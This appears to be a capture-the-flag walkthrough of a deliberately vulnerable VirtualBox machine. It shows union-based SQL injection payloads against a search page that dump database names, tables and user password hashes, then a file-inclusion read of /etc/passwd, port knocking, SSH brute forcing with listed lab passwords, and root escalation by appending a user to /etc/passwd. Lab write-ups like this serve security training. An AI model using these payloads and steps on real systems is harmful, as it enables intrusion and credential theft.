MAC Address: 08:00:27:1B:8F:38 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## PORT 80 (HTTP)
<imgsrc="https://imgur.com/wMTyQ9t.png"/>
Going to `Display All Records`
we can see information of users
<imgsrc="https://i.imgur.com/vJVgcUf.png"/>
We can a login page , lets' try to do some basic sqli stuff
<imgsrc="https://imgur.com/YIhwdhT.png"/>
I tried `admin ' or 1=1 #` , `admin' or 1=1 -- ` , but both failed
<imgsrc="https://imgur.com/IBCnjDr.png"/>
Going over to `search.php` we can see that it searches for a name so let's supply the name `mary` since information for that user exists
<imgsrc="https://imgur.com/O4Ao6Pe.png"/>
Here let's perform a query `mary' and 1=1 # ` to see if it still returns us information of mary
<imgsrc="https://imgur.com/jAPaRIX.png"/>
<imgsrc="https://imgur.com/ptYnVv1.png"/>
It does , so here we can actually sqli but first we need to identify how many columns are there to do that we are going to ultize `order by <number>` which will sort by value of the number of column of provide , we will keep increasing the number we get no repsonse so,
`mary' order by 1 #`
<imgsrc="https://imgur.com/DYR1asi.png"/>
I kept getting result till till 6 columns but after that I get no response
<imgsrc="https://imgur.com/k7vMuoM.png"/>
<imgsrc="https://imgur.com/DjNkMxD.png"/>
Which means we have 6 columns so we can now perform sql injection
`mary' union select version(),user(),database(),4,5,6 #`
<imgsrc="https://i.imgur.com/MxEOkzA.png"/>
This machine is using MariaDB, user for the database client is dbuser and the database name is Staff , now we need to extract table name ,then the columns and the exfiltrate the data
We can only perform a query to give us all the names for database
```
mary' union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata #
```
<imgsrc="https://i.imgur.com/4pTkqZv.png"/>
So there two databases but right now let's just focus on `Staff`
```
mary' union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=database() #
```
<imgsrc="https://i.imgur.com/e4yvYtY.png"/>
We have two tables , `StaffDetails` and `Users` so let's see column names for Users table
```
mary' union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='Users' #
```
<imgsrc="https://i.imgur.com/1xqzABC.png"/>
We have the column names , we are intersted in username and password so let's just extract the data
<imgsrc="https://i.imgur.com/b0HMGm0.png"/>
And we got the user name password hash , this could have been done with sqlmap easilty by just intercepting the request from `search.php` and saving it to a file and running it against sqlmap
<imgsrc="https://i.imgur.com/VYgL09W.png"/>
<imgsrc="https://i.imgur.com/CiocyQU.png"/>
Let's visit crackstation
<imgsrc="https://i.imgur.com/TBizxi7.png"/>
As soon as we log in we'll get an error
<imgsrc="https://i.imgur.com/xibM8xS.png"/>
I tried the parameter `file` and got the contents of `/etc/passwd`
<imgsrc="https://imgur.com/9pjNcw7.png"/>
So I copied the results in a file and grab the users only
<imgsrc="https://imgur.com/Z4fy4Jh.png"/>
<imgsrc="https://imgur.com/SEVrVLM.png"/>
Now remeber that we had 2 databases `Staff` and `users` , let's use sqlmap to dump data from users database
<imgsrc="https://imgur.com/FQSbfcN.png"/>
<imgsrc="https://i.imgur.com/SlMui9x.png"/>
I have already saved the usernames ,let's just grab the password and start brute forcing aginst SSH
<imgsrc="https://imgur.com/O5LsSck.png"/>
But ssh is filtered so we are going to first see if we can find a port knocking configuration or not
<imgsrc="https://i.imgur.com/KY7pFuF.png"/>
Now can perform port-knocking to open ssh port
<imgsrc="https://imgur.com/onQzbec.png"/>
We found 2 passwords with brute forcing
<imgsrc="https://imgur.com/hZHQc4y.png"/>
<imgsrc="https://imgur.com/SLgwuOJ.png"/>
<imgsrc="https://imgur.com/4s5mbaT.png"/>
After logging in with `janitor` we can find more passwords
<imgsrc="https://i.imgur.com/BQUSSXB.png"/>
Let's add those passwords and again try brute forcing
<imgsrc="https://i.imgur.com/bbX8P5r.png"/>
<imgsrc="https://imgur.com/rTM4GXL.png"/>
Switching to user `fredf` we can that can run the file test as sudo
<imgsrc="https://i.imgur.com/aA6ezrt.png"/>
<imgsrc="https://imgur.com/3UZYm1H.png"/>
It's a binary , let's try to execute it and see what happens
<imgsrc="https://i.imgur.com/GtQ6sQY.png"/>
Wierd it says test.py which is a python file which reads and appends so we need to find that python file
<imgsrc="https://i.imgur.com/fO6V4tQ.png"/>
And we found it
<imgsrc="https://i.imgur.com/tSAUzAa.png"/>
So going through the source code , it's going to take 2 arguments as file , it's going to read the contents from first file store it in variable then it's going to append the contents in the file we specify we could exploit this by first adding a root user in a file then reading the contents from there and appending it to `/etc/passwd` file
<imgsrc="https://imgur.com/0xxtn7u.png"/>
<imgsrc="https://imgur.com/gdFtj7u.png"/>
Now let's see if this actually worked or not
<imgsrc="https://i.imgur.com/q1aN2N7.png"/>
<imgsrc="https://i.imgur.com/Ou3Am93.png"/>
This has added a user so we can switch to this user and become root
<imgsrc="https://imgur.com/h0UuulA.png"/>
admin:transorbital1
```
chandlerb:UrAG0D!
janitor: Ilovepeepee
joeyt: Passw0rd
fredf: B4-Tru3-001
```
mary' union select 1,2,3,4,5,6 #
mary' union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=database() #
mary' union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='Users' #
mary' union select group_concat(Username),group_concat(Password),3,4,5,6 from 'Users' #
mary' union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata #